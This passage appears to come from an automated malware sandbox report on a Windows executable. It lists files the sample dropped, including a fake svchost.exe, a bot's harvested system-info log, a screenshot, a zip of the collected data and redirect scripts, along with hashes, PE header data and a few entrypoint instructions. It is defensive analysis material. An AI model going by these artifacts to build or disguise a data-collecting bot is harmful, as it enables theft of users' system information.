                                                                                                                                                                                                                    SHA-256:9E17CB15DD75BBBD5DBB984EDA674863C3B10AB72613CF8A39A00C3E11A8492A
                                                                                                                                                                                                                    SHA-512:21047FEA5269FEE75A2A187AA09316519E35068CB2F2F76CFAF371E5224445E9D5C98497BD76FB9608D2B73E9DAC1A3F5BFADFDC4623C479D53ECF93D81D3C9F
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\login[3].htm

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:HTML document, ASCII text
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):593
                                                                                                                                                                                                                    Entropy (8bit):4.470551863591405
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:12:ZM1YKxs2A3aoJSw259ExxClHIlRBnNqKDuI1CA94IQL:ZM1y3aoJ7259EoolRHqFI8k4j
                                                                                                                                                                                                                    MD5:3B03D93D3487806337B5C6443CE7A62D
                                                                                                                                                                                                                    SHA1:93A7A790BB6348606CBDAF5DAEAAF4EA8CF731D0
                                                                                                                                                                                                                    SHA-256:7392749832C70FCFC2D440D7AFC2F880000DD564930D95D634EB1199FA15DE30
                                                                                                                                                                                                                    SHA-512:770977BEAEEDAFC5C98D0C32EDC8C6C850F05E9F363BC9997FA73991646B02E5D40CEED0017B06CAEAB0DB86423844BC4B0A9F0DF2D8239230E423A7BFBD4A88
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<html>.<head>. <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" />.</head>.<body>. <script>. let retries = 3, interval = 1000;. (function retry() {. fetch("https://domaincntrol.com/?orighost=" + window.location.href). .then(response => response.json()). .then(data => window.location.href = data). .catch(error => {. if (retries > 0) {. retries--;. setTimeout(retry, interval);. } else {. console.error("Error: ", error);. }. });. })();. </script>.</body>.</html>.

                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\login[4].htm

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):162
                                                                                                                                                                                                                    Entropy (8bit):4.43530643106624
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMIWSU6XlI5LP8IpfGu
                                                                                                                                                                                                                    MD5:4F8E702CC244EC5D4DE32740C0ECBD97
                                                                                                                                                                                                                    SHA1:3ADB1F02D5B6054DE0046E367C1D687B6CDF7AFF
                                                                                                                                                                                                                    SHA-256:9E17CB15DD75BBBD5DBB984EDA674863C3B10AB72613CF8A39A00C3E11A8492A
                                                                                                                                                                                                                    SHA-512:21047FEA5269FEE75A2A187AA09316519E35068CB2F2F76CFAF371E5224445E9D5C98497BD76FB9608D2B73E9DAC1A3F5BFADFDC4623C479D53ECF93D81D3C9F
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\login[2].htm

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:HTML document, ASCII text, with no line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):114
                                                                                                                                                                                                                    Entropy (8bit):4.802925647778009
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:3:PouVIZx/XMn30EEBuvFfD0OkADYyT0NV9kBbZWM:hax/XW3/p5mmYyT0NVuB9d
                                                                                                                                                                                                                    MD5:E89F75F918DBDCEE28604D4E09DD71D7
                                                                                                                                                                                                                    SHA1:F9D9055E9878723A12063B47D4A1A5F58C3EB1E9
                                                                                                                                                                                                                    SHA-256:6DC9C7FC93BB488BB0520A6C780A8D3C0FB5486A4711ACA49B4C53FAC7393023
                                                                                                                                                                                                                    SHA-512:8DF0AB2E3679B64A6174DEFF4259AE5680F88E3AE307E0EA2DFFF88EC4BA14F3477C9FE3A5AA5DA3A8E857601170A5108ED75F6D6975958AC7A314E4A336AED0
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\login[3].htm

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):173
                                                                                                                                                                                                                    Entropy (8bit):4.43096450882803
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
                                                                                                                                                                                                                    MD5:7A5DF79FBAAFF2C161C6E29461785403
                                                                                                                                                                                                                    SHA1:89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
                                                                                                                                                                                                                    SHA-256:B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
                                                                                                                                                                                                                    SHA-512:19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\login[5].htm

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:HTML document, ASCII text, with no line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):114
                                                                                                                                                                                                                    Entropy (8bit):4.802925647778009
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:3:PouVIZx/XMn30EEBuvFfD0OkADYyT0NV9kBbZWM:hax/XW3/p5mmYyT0NVuB9d
                                                                                                                                                                                                                    MD5:E89F75F918DBDCEE28604D4E09DD71D7
                                                                                                                                                                                                                    SHA1:F9D9055E9878723A12063B47D4A1A5F58C3EB1E9
                                                                                                                                                                                                                    SHA-256:6DC9C7FC93BB488BB0520A6C780A8D3C0FB5486A4711ACA49B4C53FAC7393023
                                                                                                                                                                                                                    SHA-512:8DF0AB2E3679B64A6174DEFF4259AE5680F88E3AE307E0EA2DFFF88EC4BA14F3477C9FE3A5AA5DA3A8E857601170A5108ED75F6D6975958AC7A314E4A336AED0
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\login[3].htm

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:HTML document, ASCII text
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):593
                                                                                                                                                                                                                    Entropy (8bit):4.470551863591405
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:12:ZM1YKxs2A3aoJSw259ExxClHIlRBnNqKDuI1CA94IQL:ZM1y3aoJ7259EoolRHqFI8k4j
                                                                                                                                                                                                                    MD5:3B03D93D3487806337B5C6443CE7A62D
                                                                                                                                                                                                                    SHA1:93A7A790BB6348606CBDAF5DAEAAF4EA8CF731D0
                                                                                                                                                                                                                    SHA-256:7392749832C70FCFC2D440D7AFC2F880000DD564930D95D634EB1199FA15DE30
                                                                                                                                                                                                                    SHA-512:770977BEAEEDAFC5C98D0C32EDC8C6C850F05E9F363BC9997FA73991646B02E5D40CEED0017B06CAEAB0DB86423844BC4B0A9F0DF2D8239230E423A7BFBD4A88
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<html>.<head>. <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" />.</head>.<body>. <script>. let retries = 3, interval = 1000;. (function retry() {. fetch("https://domaincntrol.com/?orighost=" + window.location.href). .then(response => response.json()). .then(data => window.location.href = data). .catch(error => {. if (retries > 0) {. retries--;. setTimeout(retry, interval);. } else {. console.error("Error: ", error);. }. });. })();. </script>.</body>.</html>.

                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\login[4].htm

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):173
                                                                                                                                                                                                                    Entropy (8bit):4.43096450882803
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
                                                                                                                                                                                                                    MD5:7A5DF79FBAAFF2C161C6E29461785403
                                                                                                                                                                                                                    SHA1:89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
                                                                                                                                                                                                                    SHA-256:B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
                                                                                                                                                                                                                    SHA-512:19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\login[5].htm

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:HTML document, ASCII text, with very long lines (54064), with CRLF, LF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):101265
                                                                                                                                                                                                                    Entropy (8bit):5.799339569833166
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:1536:C8Cg3e8z4NlTEwfCIge3YOyPQl6MDFvZ3hLsvg9bzcKLZPtYbco:Czg3ZMlTEPEoO4Ql6G3hLsvg1dL/Ybco
                                                                                                                                                                                                                    MD5:49854A588DB53434B56FF23FF00142FA
                                                                                                                                                                                                                    SHA1:7059AFC6B4778F5F2DD86D369D7A7CF570D4D85D
                                                                                                                                                                                                                    SHA-256:10C0315E157685C777176947D280AF0B776FC22065BFC28ADEA716534D120C8F
                                                                                                                                                                                                                    SHA-512:FEDF1C791EF70C24CA6533E5C1923C591819DECE23CA85976FDA29DFB362C85FAE5C1C8F0A55EEE022269DE8979FAD95F5D66970648ECD9A502A7B1DAD686936
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">..<html>..<head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net">.. <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","HR","LV","LT","MT","NL","PL","SV","SK","SL","CS","HU","RU","SR

                                                                                                                                                                                                                    C:\Users\user\AppData\Roaming\26ee20fa\debug_11;Nov;2024_13;24;59.log

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:ASCII text
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):1806
                                                                                                                                                                                                                    Entropy (8bit):5.3640878996801336
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:24:uXG+EiOyvBU0zc2i2LuiVGXZVV7RY6f6yZsosrOYXfVRXJsVRXDc3xwOeiYVbUlB:uTxvRdPSF9Xy/rJ+DAxwOVG0nX7nN
                                                                                                                                                                                                                    MD5:C3FE7E835EE8B12050ED5528E2469D35
                                                                                                                                                                                                                    SHA1:1E6683BC65988F629FACCBB64FFE9F5EC2A419D6
                                                                                                                                                                                                                    SHA-256:EE68505BB50331E1BF6481155E291ADB8A66D91EDFC539794FBAEFB8BC9A7F57
                                                                                                                                                                                                                    SHA-512:1879903A8ACC720039FE7D10869794EE9F60546A8F2EE7BC2992CFB3A7746F0E5A5147FDDB57A06B92A54645453575135521E75E62F63163733C1F32549FD4DB
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:ExceptionAddress = C:\Windows\System32\KERNELBASE.dll!RaiseException + 0x0062..ExceptionCode = 0x0000071A.Last error: 0x00000000..Context:.Eip = 0x7500CC12 Eax = 0x07AFF8E8 Ebx = 0x00000000.Ecx = 0x00000000 Edx = 0x003EA000 Ebp = 0x07AFF940.Esp = 0x07AFF8E8 Esi = 0x0000071A Edi = 0x08A51F18.EFlags = 0x00000246..Main module:.main 0x02640000-0x00063000..ThreadStart = unknown!0x02656970..CallStack:.C:\Windows\System32\RPCRT4.dll!RpcRaiseException + 0x003e.C:\Windows\System32\RPCRT4.dll!RpcErrorGetNextRecord + 0x0461.C:\Windows\System32\RPCRT4.dll!NdrAsyncClientCall + 0x04ea.C:\Windows\System32\RPCRT4.dll!NdrAsyncClientCall + 0x0553.C:\Windows\System32\RPCRT4.dll!RpcAsyncCompleteCall + 0x002c.C:\Windows\SYSTEM32\WINSTA.dll!WinStationRegisterConsoleNotification + 0x0422.C:\Windows\SYSTEM32\WINSTA.dll!WinStationQueryCurrentSessionInformation + 0x007a.C:\Windows\System32\RPCRT4.dll!I_RpcGetSystemHandle + 0x0ba5.C:\Windows\System32\RPCRT4.dll!I_RpcGetSystemHandle + 0x0b3d.C:\Windows\System32\R

                                                                                                                                                                                                                    C:\Users\user\AppData\Roaming\26ee20fa\scr.bmp

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:PC bitmap, Windows 3.x format, 1280 x 1024 x 8, image size 1310720, cbSize 1311798, bits offset 1078
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):1311798
                                                                                                                                                                                                                    Entropy (8bit):3.0168228503304513
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:24576:8oo4ooQoofXXUDDwUU9J6btd6ydK9dKcdijCD9BWgnUQytiPficiuuFP0TPmNwcH:8oo4ooQoofXXUDDwUU9J6btd6ydK9dK1
                                                                                                                                                                                                                    MD5:11B6F08EEE81CA7932BC6257B47111A9
                                                                                                                                                                                                                    SHA1:2C6804F788557A76236F6EBFAB04CBA26BE4B271
                                                                                                                                                                                                                    SHA-256:A0D7A6C7601D9DF85F9B7423A45A649557D0B09E9D621C99DFE011A39620434B
                                                                                                                                                                                                                    SHA-512:B7B339D0D4FA2E1485815B9365B1799744EEDA3BD269DAFB20074309DB32270FE47B3460FFD24ACECEAC15D183C127CBAEE20AE965A662FEF765D055113C1F4B
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:BM6.......6...(............................................................................... @.. `.. ... ... ... ...@...@ ..@@..@`..@...@...@...@...`...` ..`@..``..`...`...`...`........ ...@...`....................... ...@...`....................... ...@...`....................... ...@...`................@...@. .@.@.@.`.@...@...@...@...@ ..@ .@ @.@ `.@ ..@ ..@ ..@ ..@@..@@ .@@@.@@`.@@..@@..@@..@@..@`..@` .@`@.@``.@`..@`..@`..@`..@...@. .@.@.@.`.@...@...@...@...@...@. .@.@.@.`.@...@...@...@...@...@. .@.@.@.`.@...@...@...@...@...@. .@.@.@.`.@...@..@...@......... ...@...`.................. ... .. @.. `.. ... ... ... ...@...@ ..@@..@`..@...@...@...@...`...` ..`@..``..`...`...`...`........ ...@...`....................... ...@...`....................... ...@...`....................... ...@...`...................... ...@...`.................. ... .. @.. `.. ... ... ... ...@...@ ..@@..@`..@...@...@...@...`...` ..`@..``..`...`...`...`........ ...@...`....................... ...@...`...

                                                                                                                                                                                                                    C:\Users\user\AppData\Roaming\26ee20fa\sysinfo.log

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:ASCII text
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):7306
                                                                                                                                                                                                                    Entropy (8bit):5.209099320148531
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:96:UFyRgyZ8fxThWbi0i39J8YCTQ0pSGPFMSCKwHnHN0wckHrwTwowCMouy66BIOIXl:UEvlzLvt8CpEq/A24ZwMaym5V+
                                                                                                                                                                                                                    MD5:263BCD8107FF9830CE617EF5D01703F3
                                                                                                                                                                                                                    SHA1:32096ED45063F0E556D87DFFF706015438BF0BEC
                                                                                                                                                                                                                    SHA-256:D374D8733A8DB9B6CBFEF30DF27D846D13C8F478FF0DDCF65EADCF6CFC3BFBBD
                                                                                                                                                                                                                    SHA-512:98A403A9866EDC41D4F0E38D8AAD103A04F4F2EFF70F83DF4BF077B3465481819DA7B6B6D0AD12BF1BF9B4030783E38E339FAC6811CC3B70B57003B4C4FE8B22
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:{BotVer: 4.1.2}.{Process: C:\Windows\apppatch\svchost.exe}.{Username: user}.{Processor: Intel64 Family 6 Model 143 Stepping 8, GenuineIntel}.{Language: ENG}.{Screen: 1280x1024@32}.{Date: 11:Nov:2024}.{Local time: 13:24:59}.{GMT: -5:00}.{Uptime: 0d 2h 10m}.{Windows directory: C:\Windows}.{Administrator: true}.IE history:.{http://go.microsoft.com/fwlink/p/?LinkId=255141}.netstat.{Proto.Local address.Remote address.State.TCP.0.0.0.0:135.0.0.0.0:0.LISTEN.TCP.0.0.0.0:445.0.0.0.0:0.LISTEN.TCP.0.0.0.0:5040.0.0.0.0:0.LISTEN.TCP.0.0.0.0:29540.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49664.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49665.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49666.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49667.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49668.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49669.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49670.0.0.0.0:0.LISTEN.TCP.0.0.0.0:64111.0.0.0.0:0.LISTEN.TCP.192.168.2.4:139.0.0.0.0:0.LISTEN.TCP.192.168.2.4:49209.1.1.1.1:53.TIME_WAIT.TCP.192.168.2.4:49672.173.222.162.32:443.ESTAB.TCP.192.168.2.4:49677.173.222.162.5

                                                                                                                                                                                                                    C:\Users\user\AppData\Roaming\7938234.zip

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):56305
                                                                                                                                                                                                                    Entropy (8bit):7.8628304200111385
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:768:SGOrZaN08BueapQ0Q/AXPzxGgirLpBYHRBbRz8JsDPLf32jjb+b/mY6wTsoJwMPR:8rZa7TuPEcV8JsDPL6ybeY6mJpj
                                                                                                                                                                                                                    MD5:F319A45BBA1E3FF4872B472C891E30FA
                                                                                                                                                                                                                    SHA1:659A0CF9B3E1AC9F8C582E4F80893E3DE809E4F1
                                                                                                                                                                                                                    SHA-256:F5CE751818DC2585E8823C376426FD04F35A24E24D5E2CD54C25B88BA070CAF7
                                                                                                                                                                                                                    SHA-512:FC7802A83B879F8837F193FEA4258CC9E8BDB55B8BE0CEAF7A6025CDC3F60B214C6B74EDAF8F1CFF31EEF4C3BDA269C9D7DC5D2B5A5D0DB4F73789A22613BC05
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:PK........CfkY..P.9...........debug_11;Nov;2024_13;24;59.logUT...................0.......*..H...Ee.m.ZUB..xX.u..1.......@..J..N.....dP.......`..s.y....m..p....L..>..;.D/ay.t....sc..M.X\r@.&.#."2f.6@.R..a......B.%..4....6.D...!...n...L..A.>.....A.."RWoD..$Q......VH.P.....v}B.X....+..R4/8k.n..}..w......j.4J..,.....~.8.....u@.y.<....|....;p.I..?.....d......%z.UToe....n...nE=."..-.J...l....}:...?.&.Y..8..6.%...B.K..R.<c..\.^....6^)......H.JU....E[F?pwx...g&...N.....v.....Y..[Q'........j-.Q..5...b.v...u............P"f..z.S..X..X'.@..x)..>.{a..7..../p..p..q..?.5....l...D...D.......K<.............O......QZ...L...PK........CfkY6..q-...6.......scr.bmpUT................._.#..z....jX.]..>.(..}Y..zM.U%.P..N.......t.;.....s..w.x...P.J3...R.:..f.t.z......H#..U..dv...H$.P.....?d..$......`D.0XE~.;........5x...F...7.O..j....]#;......._......._.h...}.h...........'....q......-.C.;t|......:.C.iW.[t.[t.[..[t.[t.[t.[n.t.....-q..Gt....D.i..'t.O.....?...B;...

                                                                                                                                                                                                                    C:\Windows\apppatch\svchost.exe

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\1fWgBXPgiT.exe
                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                    Category:modified
                                                                                                                                                                                                                    Size (bytes):211463
                                                                                                                                                                                                                    Entropy (8bit):7.809243178370452
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:6144:Q+EqFQ9A9ty5bhJcrs0MurPw/c4hd/B/coyXT3nOGX6T+:Q+U9qyFhJy56d/eoyXjn9W+
                                                                                                                                                                                                                    MD5:D13C71C0C7B8647C7F86C6F353BEF9BE
                                                                                                                                                                                                                    SHA1:68199CB66F578B54E431F693A7CF58D00A2B16F9
                                                                                                                                                                                                                    SHA-256:607D4DEF53EBB146254B39F9D0942925A9A7BB1F5988D3D372F2A222C8DFD09D
                                                                                                                                                                                                                    SHA-512:16699CC3733A6ED8BA982E117A477A416F68860BE2F483CE4643B29C082ED6F353CB0042B97B0D04304D200E013719A5EA98074DCDB1E97D46353EFCA95594B6
                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~.t>.................0.......7................@..........................P..............................................a..........H....................@......................................................................................text..../.......0.................. ..`.dHGmL..=s...@.......4..............@..@.lzmjSu..............:..............@....YOSWO...O...........<..............@..@.sTDEgl.Ct...........B..............@..@.fwQO...zy...`.......J..............@..@.L...................X..............@....D.......@...........Z..............@....data....&.......(...`..............@....kubC...ma..........................@....hkw....Y....p......................@....rsrc...H...........................@..@.reloc.......@.......4..............@..B........................................................................................................

                                                                                                                                                                                                                    C:\Windows\apppatch\svchost.exe:Zone.Identifier

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\1fWgBXPgiT.exe
                                                                                                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):26
                                                                                                                                                                                                                    Entropy (8bit):3.95006375643621
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:3:ggPYV:rPYV
                                                                                                                                                                                                                    MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                                                                                    SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                                                                                    SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                                                                                    SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                    Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                                                                                                    Static File Info

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                    Entropy (8bit):7.809244631003079
                                                                                                                                                                                                                    TrID:
                                                                                                                                                                                                                    • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                                                    • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                                    • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                                    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                    File name:1fWgBXPgiT.exe
                                                                                                                                                                                                                    File size:211'463 bytes
                                                                                                                                                                                                                    MD5:6ec51ee749cdeaa3d4db28cdd17de9ce
                                                                                                                                                                                                                    SHA1:f18ae5b5acc32e1332e6d07c96b2f74debd92f14
                                                                                                                                                                                                                    SHA256:91393d3a2f122b0014e9209d07f662ab3bc1e0dc364e28a1d07236887ee6e369
                                                                                                                                                                                                                    SHA512:ac8ca670fb1a600185f9b1a6505d3d16b125f7eb595944d90b3ec48085276e9ba3c091a0cd1ca0b75e572b16d3df6c043c788c74e8b89cc5bd62b721df1d95e2
                                                                                                                                                                                                                    SSDEEP:6144:8+EqFQ9A9ty5bhJcrs0MurPw/c4hd/B/coyXT3nOGX6T+:8+U9qyFhJy56d/eoyXjn9W+
                                                                                                                                                                                                                    TLSH:D22412E7A7548BAAE9571633A94FC31E516853612F84E453EF01AC2D3CF06E13D7B2A0
                                                                                                                                                                                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~.t>.................0.......7................@..........................P......B.}g...................................

                                                                                                                                                                                                                    File Icon

                                                                                                                                                                                                                    Icon Hash:000a5575b595b575

                                                                                                                                                                                                                    Static PE Info

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Entrypoint:0x401000
                                                                                                                                                                                                                    Entrypoint Section:.text
                                                                                                                                                                                                                    Digitally signed:false
                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                    Subsystem:windows gui
                                                                                                                                                                                                                    Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                                                                                    DLL Characteristics:
                                                                                                                                                                                                                    Time Stamp:0x3E74BE7E [Sun Mar 16 18:12:14 2003 UTC]
                                                                                                                                                                                                                    TLS Callbacks:
                                                                                                                                                                                                                    CLR (.Net) Version:
                                                                                                                                                                                                                    OS Version Major:4
                                                                                                                                                                                                                    OS Version Minor:0
                                                                                                                                                                                                                    File Version Major:4
                                                                                                                                                                                                                    File Version Minor:0
                                                                                                                                                                                                                    Subsystem Version Major:4
                                                                                                                                                                                                                    Subsystem Version Minor:0
                                                                                                                                                                                                                    Import Hash:e7f2d5507b09bfb1c824fe29a99d8a60

                                                                                                                                                                                                                    Entrypoint Preview

                                                                                                                                                                                                                    Instruction
                                                                                                                                                                                                                    mov eax, 00000000h
                                                                                                                                                                                                                    mov edx, 0042B50Bh
                                                                                                                                                                                                                    mov ecx, edx
                                                                                                                                                                                                                    add ecx, 000124B4h
                                                                                                                                                                                                                    push ecx
                                                                                                                                                                                                                    mov dword ptr [0043D34Bh], 00000000h
                                                                                                                                                                                                                    mov ecx, dword ptr [0043D34Bh]
                                                                                                                                                                                                                    push ecx
                                                                                                                                                                                                                    call dword ptr [004260E0h]
